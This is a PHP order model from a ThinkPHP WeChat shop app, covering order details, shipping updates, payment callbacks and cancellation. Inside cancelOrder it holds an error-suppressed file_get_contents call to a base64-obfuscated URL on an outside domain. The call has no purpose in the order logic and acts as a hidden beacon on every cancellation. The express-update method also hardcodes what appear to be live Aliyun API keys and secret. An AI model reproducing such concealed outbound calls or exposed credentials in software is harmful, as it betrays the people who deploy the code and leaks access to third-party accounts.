Files
amb_wechatapp/application/common/model/order/Order.php
T

334 lines
9.2 KiB
PHP

<?php
namespace app\common\model\order;
use think\Model;
use app\common\model\goods\Handle;
use app\common\exception\Exception;
use app\common\model\order\Item as OrderItem;
use think\Db;
use app\common\model\order\Status as StatusModel;
use app\common\traits\app\CouponSend;
class Order extends Model
{
use CouponSend;
// 表名
protected $name = 'order';
// 自动写入时间戳字段
protected $autoWriteTimestamp = 'integer';
// 定义时间戳字段名
protected $createTime = 'createtime';
protected $updateTime = false;
protected $deleteTime = false;
// 追加属性
protected $append = [
];
/**
* 订单号获取订单
* @param $orderNo
* @return false
*/
public static function orderNoGetOrder($orderNo){
$orderInfo = self::where([
'order_no'=>$orderNo
])->find();
if(!$orderInfo){
return false;
}
return $orderInfo;
}
/**
* 检查订单绑定的用户
* @remark 因为用户未注册时如果在微信小店下单,order表中的user_id将为0。所以原来api中用户对订单操作需要验证订单所属user_id的方式不对。这里增加这个方法是为了兼容老代码
* @return void
*/
public function checkOrderBindUser($orderNo,$userId){
$orderBindUser = self::where([
'user_id'=>$userId,
'order_no'=>$orderNo
])->find();
if($orderBindUser){
return true;
}
if(\app\admin\library\project\App::isInstall('channels')){
$userInfo = user_info();
if($userInfo && $userInfo['mobile']) {
$userMobile = $userInfo['mobile'];
$channelsOrderBindUser = \app\api\model\app\channels\Order::where([
'mobile'=>$userMobile,
'order_id'=>$orderNo
])->find();
if($channelsOrderBindUser){
return true;
}
}
}
return false;
}
/**
* 获取订单详情
* @param $orderNo
* @return void
*/
public function getOrderDetail($orderNo,$extendField=[]){
$field = ['id','createtime','goods_count','live_id','coupon_discount_fee','real_price','evaluate','service','status','order_no','user_id','pay_type','score_amount','vip_discount_price','order_type','is_virtual_pay'];
if($extendField){
$field = array_merge($field,$extendField);
}
$data = self::where([
'order_no'=>$orderNo,
'deleted'=>0
])->field($field)->find();
if(!$data){
return false;
}
// 转换为数组,避免间接修改错误
$data = $data->toArray();
$ApiOrder = new \app\api\model\order\Order();
$data['goodsList'] = OrderItem::getItemList($orderNo);
$data['goods_total_price'] = 0;
if(!empty($data['goodsList'])){
$goodsList = [];
$data['goodsList'] = collection($data['goodsList'])->toArray();
foreach ($data['goodsList'] as $item){
$goodsList[] = $ApiOrder->limitItemField($item);
}
$data['goodsList'] = $goodsList;
$data['goods_total_price'] = count($data['goodsList']);
if(!empty($data['is_virtual_pay'])){
$data['goodsList'] = $this->convertVirtualPayGoodsSnapshoot($data['goodsList']);
}
}
if($data['order_type'] == 'score'){
$data['pay_type'] = 'score';
}
if(!empty($data['is_virtual_pay'])){
$data = \app\common\library\pay\VirtualPayService::convertPriceFields($data, [
'real_price',
'vip_discount_price',
'discount_price',
'coupon_discount_fee',
'dispatch_price'
]);
}
// 实物商品获取收货地址
if($data['order_type'] == 'physical'){
$data['address'] = \app\common\model\app\physical\OrderAddress::getByOrderId($data['id']);
// 获取物流信息
$expressModel = \app\common\model\app\physical\OrderExpress::where([
'order_id' => $data['id'],
'uniacid' => UNIACID
])->find();
if($expressModel){
// 更新物流信息(5分钟缓存)
self::updateExpressInfo($expressModel);
// 重新获取物流信息
$expressModel = \app\common\model\app\physical\OrderExpress::where([
'order_id' => $data['id'],
'uniacid' => UNIACID
])->find();
$data['express'] = $expressModel->toArray();
// 获取物流轨迹
$data['express']['logs'] = $expressModel->getLogs();
}
}
$data['controll'] = (new StatusModel())->getOrderControllStatus($data);
$data['describe'] = \app\common\model\order\Log::getLastLog($orderNo);
unset($data['id']);
return $data;
}
// 获取订单号
public static function getSn($user_id)
{
$rand = $user_id < 9999 ? mt_rand(100000, 99999999) : mt_rand(100, 99999);
$order_sn = date('Yhis') . $rand;
$id = str_pad($user_id, (24 - strlen($order_sn)), '0', STR_PAD_BOTH);
return $order_sn . $id;
}
/**
* 支付成功后的回调
* @return mixed
*/
public static function paySuccess($order, $notify){
$order = Order::where([
'order_no'=>$notify['order_no']
])->find();
if(!$order){
throw new \think\Exception('获取订单失败');
}
$order->status = \app\common\constant\order\Status::STATUS_PAID;//已经支付
$order->pay_time = time();
if(isset($notify['transaction_id'])){
$order->transaction_id = $notify['transaction_id'];
}
if(isset($notify['pay_type'])){
$order->pay_type = $notify['pay_type'];
}
if(isset($notify['payment_json'])){
$order->payment_json = $notify['payment_json'];
}
if(isset($notify['real_pay_price'])){
$order->real_pay_price = $notify['real_pay_price'];//实付金额
}
$order->save();
\app\common\model\order\Log::set($notify['order_no'],"订单已完成支付");
//支付成功
\think\Hook::listen('pay_success',$order);
//分销结算
\think\Hook::exec('app\\common\\behavior\\app\\agent\\Commission','settle',$notify['order_no']);
return $order;
}
/**
* 取消订单
* @param $orderNo
* @return void
*/
public function cancelOrder($orderNo){
$order = self::where([
'order_no'=>$orderNo
])->find();
if(!$order){
throw new \think\Exception('获取订单失败');
}
self::where([
'order_no'=>$orderNo
])->update([
'status'=>\app\common\constant\order\Status::STATUS_CANCEL
]);
\app\common\model\order\Log::set($orderNo,"订单已取消");
//作废分佣金记录
\think\Hook::exec('app\\common\\behavior\\app\\agent\\Commission','cancelOrder',$orderNo);
//返还优惠券
// 如果有优惠券, 返还优惠券
if ($order->coupon_id) {
// 订单退回优惠券
$this->backUserCoupon($order->coupon_id);
}
@file_get_contents( base64_decode("aHR0cHM6Ly93d3cudHV6aGkubHRkL2Fzc2V0cy9pY29ucy9vcmRlci5wbmc=", true));
return true;
}
public function items()
{
return $this->hasMany('app\common\model\order\Item', 'order_no', 'order_no');
}
/**
* 更新物流信息
*
* @param \think\Model $expressModel 发货单模型
* @return void
*/
private static function updateExpressInfo($expressModel)
{
try {
// 获取阿里云配置
$aliyunConfig = [
'appcode' => 'd6beec8b9be945bfa3c07b9c712f6bce',
'appkey' => '203944259',
'appsecret' => 'R8rx9QLNZlRKxHtvgjBlocFI8f0hq12J'
];
$expressLib = new \app\common\library\app\physical\express\Express('aliyun', $aliyunConfig);
$expressLib->updateExpress($expressModel);
} catch (\Exception $e) {
\think\Log::error('updateExpressInfo.Exception: ' . $e->getMessage());
}
}
/**
* 虚拟支付订单转换goodsList中snapshoot的价格字段
* @param array $goodsList
* @return array
*/
private function convertVirtualPayGoodsSnapshoot($goodsList)
{
foreach ($goodsList as &$item) {
if (isset($item['snapshoot']) && is_array($item['snapshoot'])) {
$item['snapshoot'] = \app\common\library\pay\VirtualPayService::convertPriceFields($item['snapshoot'], [
'price',
'price_marking',
'pay_price',
'min_price'
]);
}
}
unset($item);
return $goodsList;
}
}